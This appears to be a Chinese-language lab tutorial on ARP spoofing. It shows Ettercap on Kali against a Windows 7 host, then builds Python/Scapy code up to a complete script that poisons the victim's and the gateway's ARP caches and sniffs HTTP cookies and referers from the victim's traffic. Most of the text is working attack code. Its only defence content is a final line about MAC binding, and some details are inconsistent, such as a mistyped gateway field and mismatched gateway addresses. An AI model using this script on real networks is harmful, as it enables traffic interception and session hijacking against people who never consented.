kali使用Ettercap进行arp欺骗

arp欺骗原理：明天补上

192.168.0.105加入target1,192.168.0.1网关加入target2

点击MITM中的ARP

windows7查看mac地址已经发生变化

可以用driftnet查看被攻击的win7访问网页的图片，最新版的kali未安装该软件，实际测试该软件应该只能查看一些加密不严格的网站

或者使用wireshark抓包嗅探

win7登录dvwa过程，可在kali抓包嗅探到

前提知识

from scapy.all import *

respone, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.0.105"), timeout=2, verbose=0)
for s, r in respone:		#s是发送包，r是响应包
    print(r.show())			#查看相应包的内容
    print("-------------")
    print(r[ARP].hwsrc)		#查看arp包中的hwsrc内容


srp发送数据包
verbose不显示错误信息
who-has请求包
is-at响应包

输出：
###[ Ethernet ]### 
  dst       = 00:0c:29:3b:f0:c7
  src       = 00:0c:29:8d:9a:68
  type      = ARP
###[ ARP ]### 
     hwtype    = 0x1
     ptype     = IPv4
     hwlen     = 6
     plen      = 4
     op        = is-at
     hwsrc     = 00:0c:29:8d:9a:68
     psrc      = 192.168.0.105
     hwdst     = 00:0c:29:3b:f0:c7
     pdst      = 192.168.0.106
###[ Padding ]### 
        load      = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

None
-------------
00:0c:29:8d:9a:68

发送定制的ARP包

from scapy.all import *

respone, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.0.105"), timeout=2, verbose=0)
for s, r in respone:
    target_mac = r[ARP].hwsrc
    
target = ARP()
print(target.show())
target.psrc = "192.168.1.1"		#伪造源地址
target.pdst = "192.168.0.105"	#目标地址
target.hwdst = target_mac		#目标mac地址
target.op = 2		#2是响应包
print(target.show())

输出：
###[ ARP ]### 
  hwtype    = 0x1
  ptype     = IPv4
  hwlen     = None
  plen      = None
  op        = who-has
  hwsrc     = 00:0c:29:3b:f0:c7
  psrc      = 192.168.0.106
  hwdst     = 00:00:00:00:00:00
  pdst      = 0.0.0.0

None
###[ ARP ]### 
  hwtype    = 0x1
  ptype     = IPv4
  hwlen     = None
  plen      = None
  op        = is-at
  hwsrc     = 00:0c:29:3b:f0:c7
  psrc      = 192.168.1.1
  hwdst     = 00:0c:29:8d:9a:68
  pdst      = 192.168.0.105

None

python编写arp欺骗脚本

1.从命令行获取目标ip地址
2.获取IP对应的MAC地址
3.定义MAC获取函数
4.启动ARP欺骗
5.定义ARP欺骗函数
6.嗅探数据包
7.定义COOKIE嗅探函数
8.恢复靶机ARP缓存
9，定义ARP缓存恢复函数

不在缓存当中保存   store=0

from scapy.all import *
import time
import threading


def main(target_ip, gateway_ip):
    conf.verb = 0
    #2.获取IP对应的MAC地址
    target_mac = get_mac(target_ip)
    gateway_mac = get_mac(gateway_ip)

    #4.启动ARP欺骗
    t = Thread(target=poison_target, args=(target_ip, target_mac, gateway_ip, gateway_mac ))
    t.setDaemon(True)
    t.start()
    #6.嗅探数据包
    sniff(filter="tcp port 80", prn=packet_callback, store=0)	#不在缓存当中保存store=0
    #8.恢复靶机ARP缓存
    restore_target(target_ip, target_mac, gateway_ip, gateway_mac )

#9，定义ARP缓存恢复函数
def restore_target(target_ip, target_mac, gateway_ip, gateway_mac):
    print("[*]Restoring target....")
    #恢复靶机缓存
    send(ARP(op=2, psrc=gateway_ip, hwsrc=gateway_mac, pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff"), count=5)

    #恢复网关缓存
    send(ARP(op=2, psrc=target_ip, hwsrc=target_mac, pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff"),count=5)

#7.定义COOKIE嗅探函数
def packet_callback(packet):
    if packet[TCP].payload:
        cookie_packet = bytes(packet[TCP].payload)
        if b"Cookie" in cookie_packet:
            for info in cookie_packet.split(b'\n'):
                if b"Referer" in info or b"GET /" in info:
                    print(info)
                elif b"Cookie" in info:
                    print(info, "\n")
                    
#5.定义ARP欺骗函数
def poison_target(target_ip, target_mac, gateway_ip, gateway_mac):
    #欺骗靶机
    target = ARP()
    target.op = 2
    target.psrc = gateway_ip
    target.pdst = target_ip
    target.hwdst = target_mac

    #欺骗网关
    gateway = ARP()
    gateway.op = 2
    gateway.psrc = target_ip
    gateway.pdst = gateway_ip
    gateway_hwdst = gateway_mac
    print("[*] Beginning the ARP poison...")
    while True:
        send(target)
        send(gateway)
        time.sleep(2)

#3.定义MAC获取函数
def get_mac(ip):
    respone, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=2)
    for s, r in respone:
        return r[ARP].hwsrc

if __name__ == "__main__":
    target_ip = input("enter a ip:")
    gateway_ip = input("enter gateway ip:")
    main(target_ip, gateway_ip)

可以在路由器网关绑定mac地址，防止ARP欺骗攻击